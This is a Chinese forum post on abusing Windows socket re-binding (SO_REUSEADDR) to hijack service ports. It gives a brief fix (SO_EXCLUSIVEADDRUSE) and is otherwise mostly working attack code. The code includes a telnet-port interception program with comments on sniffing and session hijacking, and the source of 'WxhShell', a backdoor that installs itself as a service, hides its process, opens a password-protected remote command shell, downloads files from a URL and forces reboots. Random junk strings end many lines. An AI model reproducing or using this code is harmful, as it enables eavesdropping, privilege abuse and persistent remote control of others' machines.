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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xj?j1R>GB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /,$6`V  
,K8PumM_  
  saddr.sin_family = AF_INET; Bn}@wO  
qyQPR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^V_vpr]}P  
z2wR]G5!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Op\l  
BY32)8SH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]e7D""  
+SZ#s :#SE  
  这意味着什么?意味着可以进行如下的攻击: ~$YFfv>  
gXc&uR0S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xBR2tDi%  
b;Q cBGwKT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (:vY:-\ bO  
w9H%u0V?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3Akb|r  
DyYl97+Z?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J:5%ff~r\  
F#O.i,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^L*:0P~  
kG@1jMPtQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4}LGE>  
ATPc ~f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b6R0za  
]ZHC*r2i  
  #include x]Nq|XK  
  #include A!W(>  
  #include ^h4Q2Mv o  
  #include    [ wr0TbtV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xp4pN{he  
  int main() rq T@i(i  
  { #eR*|W7o  
  WORD wVersionRequested; By:A9 s  
  DWORD ret; 8&3+=<U  
  WSADATA wsaData; CIYTs,u#  
  BOOL val; kplyZ  
  SOCKADDR_IN saddr; y =G  
  SOCKADDR_IN scaddr; |!flR? OU  
  int err; .lOEQLt  
  SOCKET s; 11%^K=dq  
  SOCKET sc; $ [M8G   
  int caddsize; Cf@WjgR  
  HANDLE mt; mVP@c&1w?  
  DWORD tid;   \ Lrg:  
  wVersionRequested = MAKEWORD( 2, 2 ); q#c\  
  err = WSAStartup( wVersionRequested, &wsaData ); +f;z{)%B  
  if ( err != 0 ) { *-Z JF6  
  printf("error!WSAStartup failed!\n"); pc:~_6S  
  return -1; 0waQw7 E  
  } [1G4he%  
  saddr.sin_family = AF_INET; Mp7r`A,6  
   Y[ a$~n^:n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vdh5s292h  
W 29@`93  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;_1D-Mf  
  saddr.sin_port = htons(23); :&9#p% /  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wd3/Y/MD  
  { y*2:(nI  
  printf("error!socket failed!\n"); KR?-<  
  return -1; (VU: &.  
  } ` ~VV1  
  val = TRUE; HwiG~'Ah9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SI4M<'fK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sj0Hv d9  
  { AL3zE=BL  
  printf("error!setsockopt failed!\n"); {[NBTT9&  
  return -1; svHs&v  
  } dl;^sn0s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G%Wjtrpj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )Uo)3FAn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wRi!eN?  
-]A,SBs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sMs 0*B-[  
  { bt-y6,> +E  
  ret=GetLastError(); <vhlT#p   
  printf("error!bind failed!\n"); m7cp0+Peo  
  return -1; [Xg?sdQCI  
  } tb"UGa  
  listen(s,2); [ !].G=8  
  while(1) #zZQ@+5zw  
  { ;[uJ~7e3  
  caddsize = sizeof(scaddr); bX=A77  
  //接受连接请求 O F2*zU7M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3K_J"B*7  
  if(sc!=INVALID_SOCKET) h/QZcA  
  { (wo.OH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |9@?8\   
  if(mt==NULL) >#)^4-e  
  { diaLw  
  printf("Thread Creat Failed!\n"); :BN qr[=b  
  break; Y'DI@  
  } TMT65X!  
  } /!P,o}l7  
  CloseHandle(mt); >E^sZmY[f-  
  } ri.;&  
  closesocket(s); Oz-X}eM  
  WSACleanup(); Zb^0EbV  
  return 0; 4pduzO'I  
  }   a>ZV'~zTf  
  DWORD WINAPI ClientThread(LPVOID lpParam) !c[?$#W4  
  { ]wc'h>w  
  SOCKET ss = (SOCKET)lpParam; l _dWS9  
  SOCKET sc; 5,Mc` IIK1  
  unsigned char buf[4096]; ?|w>."F  
  SOCKADDR_IN saddr; d3St Z~&r!  
  long num; `!K(P- yB?  
  DWORD val; Xt_8=Q  
  DWORD ret; 9NBFG~)|l[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t ux/@}I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )4toBDg"  
  saddr.sin_family = AF_INET; @_J~zo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O>IY<]x>L  
  saddr.sin_port = htons(23); `gDpb.=Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J4;w9[a$  
  { SRRqIQz  
  printf("error!socket failed!\n"); !NuiVC]  
  return -1; .-awl1 W  
  } 9i;%(b{  
  val = 100; N>/!e787OU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Mf6*G#Y  
  { 8LB,8 *L^  
  ret = GetLastError(); J NPEyC  
  return -1; onI%Jl sq  
  } iV58 m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ; $i{>mDT  
  { zogw1g&C  
  ret = GetLastError(); LPc)-t|p"  
  return -1; @!"w.@ Y  
  } {P&{+`sov  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "3(""0Q  
  {  iVu  
  printf("error!socket connect failed!\n"); KLBU8%  
  closesocket(sc); nD@/,kw"  
  closesocket(ss); 3"NO"+Q  
  return -1; %@k@tD6  
  } ]bLI!2Kr  
  while(1) u!hY bCB  
  { gFizw:l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GL-v</2'U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MHeUh[%(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HkVnTC  
  num = recv(ss,buf,4096,0); Tty_P,  
  if(num>0) o$;t  
  send(sc,buf,num,0); #^4p(eZ[}  
  else if(num==0) WK)hj{k  
  break; PV$)k>H-  
  num = recv(sc,buf,4096,0); 't.I YBHx  
  if(num>0) n?!XNXb  
  send(ss,buf,num,0); S81% iz.n  
  else if(num==0) BZ* ',\o  
  break; 2FU+o\1 %  
  } 1LYz X;H1  
  closesocket(ss); t(AW2{%}  
  closesocket(sc); 4'upbI  
  return 0 ; Oi%\'biM  
  } e=Ko4Ao2y  
<`rmQ`(}s  
%A64AJZ  
========================================================== KSDz3qe  
b+Sq[  
下边附上一个代码,,WXhSHELL VwvL  
1yC_/Va1  
========================================================== gB|>[6  
-FpZZ8=,M2  
#include "stdafx.h" -@L7! ,j  
=z^ 2KH  
#include <stdio.h> m#1 >y}  
#include <string.h> fIe';a  
#include <windows.h> Z.'j7(tu  
#include <winsock2.h> QOiPDu=8z  
#include <winsvc.h> v=5H,4UMA  
#include <urlmon.h> HVjN<HIqM  
Pt5"q3ec{T  
#pragma comment (lib, "Ws2_32.lib") 0Xo>f"2<f  
#pragma comment (lib, "urlmon.lib") ]8@s+ N  
qW+'#Jh@TV  
#define MAX_USER   100 // 最大客户端连接数 %hDx UZ#0  
#define BUF_SOCK   200 // sock buffer niC ; WK  
#define KEY_BUFF   255 // 输入 buffer C2}n &{T  
V6Z~#=EQ  
#define REBOOT     0   // 重启 $~7uDq  
#define SHUTDOWN   1   // 关机 3 @ahN2  
Hi%)TDfv  
#define DEF_PORT   5000 // 监听端口 'F2g2W`  
zUq ^  
#define REG_LEN     16   // 注册表键长度 @7UZ{+67*C  
#define SVC_LEN     80   // NT服务名长度 !ZNirvk  
J([Y4Em5  
// 从dll定义API Y*VF1M,2_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3bYP i^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &s6;2G&L$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b'q ru~i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X* 4C?v  
I+2#k\y  
// wxhshell配置信息 #zmt x0  
struct WSCFG { )j,Y(V$P  
  int ws_port;         // 监听端口 P* X^)R  
  char ws_passstr[REG_LEN]; // 口令 oZ,J{I!L  
  int ws_autoins;       // 安装标记, 1=yes 0=no B7x( <!B  
  char ws_regname[REG_LEN]; // 注册表键名 5PY4PT=G  
  char ws_svcname[REG_LEN]; // 服务名 ;k ?Z,M:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FEY_(70  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [=<vapZt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uA-1VwW+N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S)LvYOOB@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nA*U drcn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 90wGS_P04  
F $/7X~*  
}; f \ E9u}  
{ 9:vq|  
// default Wxhshell configuration |$|B0mj  
struct WSCFG wscfg={DEF_PORT, Es<& 6  
    "xuhuanlingzhe", ;*%3J$T+  
    1, ,J6t 1V  
    "Wxhshell", YCl&}/.pA  
    "Wxhshell", E)3Ah!  
            "WxhShell Service", e5AZU7%.  
    "Wrsky Windows CmdShell Service", \LG0   
    "Please Input Your Password: ", IA%|OVAfF  
  1, :o3>  
  "http://www.wrsky.com/wxhshell.exe", [KQ#b  
  "Wxhshell.exe" MO^Q 8v  
    }; ^>wlj  
&x?m5%^l  
// 消息定义模块 _D 9/,n$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :6gRoMb]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h+rW%`B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CCHGd&\Z  
char *msg_ws_ext="\n\rExit."; Nl]_Ie6  
char *msg_ws_end="\n\rQuit."; %1mIngW=g  
char *msg_ws_boot="\n\rReboot..."; NufRd/q  
char *msg_ws_poff="\n\rShutdown..."; ="p,~ivrz  
char *msg_ws_down="\n\rSave to "; aT4I sPA?_  
uG7?:) pxv  
char *msg_ws_err="\n\rErr!"; vpq"mpfkh  
char *msg_ws_ok="\n\rOK!"; _-|/$ jZ  
_u3%16,o  
char ExeFile[MAX_PATH]; Rp+Lu  
int nUser = 0; #<K'RJn  
HANDLE handles[MAX_USER]; r2%Qk  
int OsIsNt; +~K) ~  
%i6/= 'u  
SERVICE_STATUS       serviceStatus; Etn uEU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l{I.l  
/IQ$[WR cx  
// 函数声明 !'eh@BU;  
int Install(void); s%QCdU ]  
int Uninstall(void); G %A!yV  
int DownloadFile(char *sURL, SOCKET wsh); a[VX)w_W{  
int Boot(int flag); cYgd1  
void HideProc(void); 9!_JV;2  
int GetOsVer(void); r^7eK)XA_  
int Wxhshell(SOCKET wsl); vA"LV+@  
void TalkWithClient(void *cs); ."Kp6s`k  
int CmdShell(SOCKET sock); gy1R.SN  
int StartFromService(void); ?o1QjDG  
int StartWxhshell(LPSTR lpCmdLine); b_&:tE--]  
:}U jX|D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k QF3DR$,B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uZM%F)  
MQe|\SMd  
// 数据结构和表定义 DH7]TRCMZ)  
SERVICE_TABLE_ENTRY DispatchTable[] = tmd{G x}c  
{ +~>cAWZq_  
{wscfg.ws_svcname, NTServiceMain}, G#Kw6  
{NULL, NULL} 1Ep7CV-n}  
}; SoWMP2/  
n-9a 0_{k  
// 自我安装 qZdA%  
int Install(void) e45)t}'  
{ "8p<NsU   
  char svExeFile[MAX_PATH]; >Hu3Guik]  
  HKEY key; : q>)c]  
  strcpy(svExeFile,ExeFile); Quwq_.DU  
"S+AkLe(  
// 如果是win9x系统,修改注册表设为自启动 i#NtiZ.t=  
if(!OsIsNt) { bE,#,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mBxMDnh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Fc}T%  
  RegCloseKey(key); q[Tl#*P?y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cQ;@z2\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #qu;{I#W3  
  RegCloseKey(key); SP\s{,'F-b  
  return 0; ;VzdlCZ@  
    }  wh#IQ.E-  
  } |!81M|H  
} U2r[.Ru  
else { ? o&goiM  
v^J']p  
// 如果是NT以上系统,安装为系统服务 (}5};v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mPF<2:)wv  
if (schSCManager!=0) 4B9D  
{ 194n   
  SC_HANDLE schService = CreateService O2":)zU.  
  ( z6Fl$FFP  
  schSCManager, /2''EF';  
  wscfg.ws_svcname, 1,Es'  
  wscfg.ws_svcdisp, 'C=(?H)M  
  SERVICE_ALL_ACCESS, j115:f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T_q M@/f  
  SERVICE_AUTO_START, ]4/C19Fe!  
  SERVICE_ERROR_NORMAL, IB$i ^  
  svExeFile, 7^V`B^Vu  
  NULL, DR @yd,  
  NULL, s?"\+b  
  NULL, k0&FUO  
  NULL, S}VN(g  
  NULL  '[HBKn$`  
  ); ~# \{'<  
  if (schService!=0)  Ci 'V  
  { +xAD;A4  
  CloseServiceHandle(schService); -'}#j\  
  CloseServiceHandle(schSCManager); 37biRXqLH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aTfc>A;  
  strcat(svExeFile,wscfg.ws_svcname); .:XXc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~1XC5.*-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m7`S@qG  
  RegCloseKey(key); )6BySk  
  return 0; Lxn-M5RPQ  
    } mG1!~}[  
  } GPizR|}h  
  CloseServiceHandle(schSCManager); ~$ Po3]{s  
} k%8kt4\wn6  
} M;W&#Fz%  
NiEz3ODSi  
return 1; Xq_h C"s  
} ([|^3tM  
~;-2eKw  
// 自我卸载 ~c5 5LlO>  
int Uninstall(void) ~Y{]yBGoF  
{ x[fp7*TiG  
  HKEY key; 7L!}F;yT  
0$NzRPbH  
if(!OsIsNt) { r oPC ^Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PT~F ^8,)  
  RegDeleteValue(key,wscfg.ws_regname); >Hmho'  
  RegCloseKey(key); me F.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fT{jD_Q+3  
  RegDeleteValue(key,wscfg.ws_regname);  ^Y!$WP  
  RegCloseKey(key); H]*B5Jv~  
  return 0; ^$mCF%e8H  
  } 4`'Rm/)  
} dKP| TRd  
} EuA352x  
else { ?9 W2ax-4  
eoFG$X/PO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dNCd-ep  
if (schSCManager!=0) 's5H_ah  
{ aO}p"-'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mI\[L2x  
  if (schService!=0) tk)}4b^\%j  
  { V3T.EW  
  if(DeleteService(schService)!=0) { h#Mx(q  
  CloseServiceHandle(schService); 3''Uxlo\  
  CloseServiceHandle(schSCManager); A/&u /?*C  
  return 0; \acGSW .c  
  } F&#I[]#  
  CloseServiceHandle(schService); ,-kz \N@.  
  } M04u>| ,  
  CloseServiceHandle(schSCManager);  fOKAy'  
} =*.S<Ko)  
} /cVZ/"  
vR pO0qG  
return 1; "r8N- h/P  
} l^%52m@{  
Bs|#7mA[  
// 从指定url下载文件 9. ,IqnP  
int DownloadFile(char *sURL, SOCKET wsh) 6(7dr?^eGT  
{ *v: .]_;  
  HRESULT hr; 6ZwQ/~7H  
char seps[]= "/"; nEP3B '+  
char *token; bSQj=|h1  
char *file; DjiI*HLNR  
char myURL[MAX_PATH]; il"pKQF  
char myFILE[MAX_PATH];  R7;X  
|Bv,*7i&  
strcpy(myURL,sURL); EP90E^v^  
  token=strtok(myURL,seps); $VP\Ac,!  
  while(token!=NULL) /Z~$`!J  
  { EMxMJ=  
    file=token; >]A#_p  
  token=strtok(NULL,seps); >6W#v[  
  } 7Bd=K=3u  
n 4co s  
GetCurrentDirectory(MAX_PATH,myFILE); hQz1zG`z7  
strcat(myFILE, "\\"); =s*4y$%I  
strcat(myFILE, file); Q \S Sv;3_  
  send(wsh,myFILE,strlen(myFILE),0); '*Tt$0#o  
send(wsh,"...",3,0); ynf!1!4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &OkPO|  
  if(hr==S_OK) _PQk<QZ  
return 0; <]_[o:nOP  
else ^rO!-  
return 1; }[PC YnS  
7AqbfLO  
} z5D*UOy5M  
$"}[\>e*{  
// 系统电源模块 _ /Eg_dQ~@  
int Boot(int flag) kY9$ M8b  
{ x8C *  
  HANDLE hToken; )4hA Fy6l  
  TOKEN_PRIVILEGES tkp; .81 ~ K[  
~]9EhC'l  
  if(OsIsNt) { cXr_,>k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I"Q U{]|J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |+JC'b?,  
    tkp.PrivilegeCount = 1; )>iPx.hVSS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bj_/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z.rhM[*+0C  
if(flag==REBOOT) { >z% WW&Z'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~BE=z:  
  return 0; :~ &#9  
}  tO D}&  
else { &' y}L'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B?e] Ht  
  return 0; r%>7n,+o  
} OHnsfXO_V  
  } glkH??S  
  else { 7j(gW  
if(flag==REBOOT) { 8wEJyAu2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?(}~[  
  return 0; 5d# 73)x$  
} !t{  
else { JW=q'ibR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pX$ X8z%  
  return 0; F}@]Lq+  
} )jjaY1E  
} H;DjM;be  
7h:EU7  
return 1; ^gY'^2bzxu  
} Jp_ :.4  
r Cz,XYV  
// win9x进程隐藏模块 tWQ$`<h  
void HideProc(void) Qw"%Xk  
{ (.wR!l# !  
\ NKw,`/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q )8I(*  
  if ( hKernel != NULL ) }^b  
  { RXu` DWN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9C!b f \  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <^942y-=  
    FreeLibrary(hKernel); 9T1 - {s R  
  } 3;!!`R>e  
MOi1+`kwh  
return; :2XX~|  
} sv#b5,>9  
s"2+H}u   
// 获取操作系统版本 g0IvcA  
int GetOsVer(void) VCIV*5 P  
{ NQcg}y  
  OSVERSIONINFO winfo; PIoBKCJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^V]IPGV  
  GetVersionEx(&winfo); A^zd:h-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mp[2Auf  
  return 1; e)87 & 7  
  else : &~LPmJ  
  return 0; A>RK3{7  
} }gE^HH'  
<7gv<N6BQf  
// 客户端句柄模块 "x0KiIoPk  
int Wxhshell(SOCKET wsl) ?N@[R];  
{ ZG~d<kM&8s  
  SOCKET wsh; 9ESV[  
  struct sockaddr_in client; .&8a ;Q?c  
  DWORD myID; $ERiBALN:  
|8)\8b|VuC  
  while(nUser<MAX_USER) IP)%y%ycw  
{ I%B\Wy/j^  
  int nSize=sizeof(client); UA*Kuad  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ep*8*GmP  
  if(wsh==INVALID_SOCKET) return 1; FMWM:  
^f,%dM=i=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Blj<|\ igc  
if(handles[nUser]==0) 1xO-tIp/  
  closesocket(wsh); YlR9 1L X  
else #)iPvV'  
  nUser++; d b *J  
  } eax"AmO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HXkXDX9&'.  
,rNud]NM8  
  return 0; hf7[<I,jov  
} +%K~HYN  
PSyUC#;  
// 关闭 socket rfr]bq5  
void CloseIt(SOCKET wsh) 9w=[}<E  
{ k]2_vk^  
closesocket(wsh); MN:LL <  
nUser--; +wI<w|!  
ExitThread(0); 'q@vTM'-  
} rD9:4W`^  
|.- Muv  
// 客户端请求句柄 vskp1Wi(  
void TalkWithClient(void *cs) 8`90a\t'Z  
{ zw iS%-F  
<|w(Sn  
  SOCKET wsh=(SOCKET)cs; d"Zyc(Jk  
  char pwd[SVC_LEN]; c: (nlYZ   
  char cmd[KEY_BUFF]; #]Jg>  
char chr[1]; }d5~w[  
int i,j; O]Y   z7  
r @ !  
  while (nUser < MAX_USER) { H?V b   
6)>otB8)J  
if(wscfg.ws_passstr) { ofPv?_@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rZ2cC#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _6g(C_m'T?  
  //ZeroMemory(pwd,KEY_BUFF);  s=556  
      i=0; Py?Q::  
  while(i<SVC_LEN) { $ ?|;w,%I  
=hY/Yr%P  
  // 设置超时 4U u`1gtz  
  fd_set FdRead; 2^f7GP  
  struct timeval TimeOut; )CgH|z:=b  
  FD_ZERO(&FdRead); Ka<J* k3  
  FD_SET(wsh,&FdRead); < Pi#-r.,  
  TimeOut.tv_sec=8; .1_kRy2*.  
  TimeOut.tv_usec=0; \^jRMIM==  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wyXQP+9G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @ rF|WT  
:H+8E5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M Ih\z7gW  
  pwd=chr[0]; z<.?8bd  
  if(chr[0]==0xd || chr[0]==0xa) { )lq+Gv[%F  
  pwd=0; q1m{G1W n  
  break; ^`Hb7A(  
  } kv;P2:"|  
  i++; 77ztDQDtM  
    } Ds#BfP7a  
,J:Ro N_:  
  // 如果是非法用户,关闭 socket q>5j (,6F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cS Qb3}a\  
} Fh|{ib  
yhs:.h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OB*V4Yv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {<?8Y  
.N`*jT  
while(1) { ]b:>7_la  
9Hd_sNUu\  
  ZeroMemory(cmd,KEY_BUFF); y*p02\)  
II Amx[ b  
      // 自动支持客户端 telnet标准   c5: X$k\  
  j=0; Z[eWey_  
  while(j<KEY_BUFF) { 2( m#WK7>F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |"+Uf w^  
  cmd[j]=chr[0]; `3@?)xa  
  if(chr[0]==0xa || chr[0]==0xd) { l,zhBnD  
  cmd[j]=0; h[Uo6`  
  break; A~ _2"  
  } *N"CV={No  
  j++; n=|% H'U  
    } C7DwA/$D  
<XN=v!2;  
  // 下载文件 NCl@C$W9q  
  if(strstr(cmd,"http://")) { n7yp6 Db  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -:OJX#j  
  if(DownloadFile(cmd,wsh)) FZLx.3k4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c] t@3m  
  else h_SkX@"/-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Lw%_xRn)  
  } [^^Pl:+  
  else { vu#ZLq  
+w"?q'SnF  
    switch(cmd[0]) { oYt 34@{?  
  C\B4Uu6q  
  // 帮助 j-.Y!$a%6  
  case '?': { \O\q1 s~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -Tn%O|#K  
    break; +T8MQ[(4  
  } O%N.;Ve  
  // 安装 8@RtL,[d  
  case 'i': { (.VS&Kv#U  
    if(Install()) ou- uZ"$,c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }}D32T VN  
    else e `OQ6|.k8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tw&v@HUP  
    break; 5$+ssR_?k  
    } iRbe$v&N  
  // 卸载 *>1^q9M  
  case 'r': { 0/9]T Ic  
    if(Uninstall()) <HzL%DX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QodWUbi'&  
    else YPf?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `b%lojT.  
    break;  1X&jlD?  
    } 4 Tw~4b  
  // 显示 wxhshell 所在路径 >[;=c0(  
  case 'p': { $*T?}r>  
    char svExeFile[MAX_PATH]; >P&1or)e%  
    strcpy(svExeFile,"\n\r"); 1@JusS0^K  
      strcat(svExeFile,ExeFile); $EX(-!c  
        send(wsh,svExeFile,strlen(svExeFile),0); xV 2C4K  
    break; 7D4tuXUq2  
    } NzTF2ve(  
  // 重启 i^V(LGQF  
  case 'b': { ODhq `?(N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xwi6#>  
    if(Boot(REBOOT)) `E?0jQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x~wS/y  
    else { -a&<Un/  
    closesocket(wsh); 4e#$ -V   
    ExitThread(0); w6WPfy(/2  
    } )%3T1 D/  
    break; j@ D,2B;  
    } C4P<GtR9  
  // 关机 0bT[05.  
  case 'd': { q b/}&J7+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o. ;Vrc  
    if(Boot(SHUTDOWN)) ^_<|~  
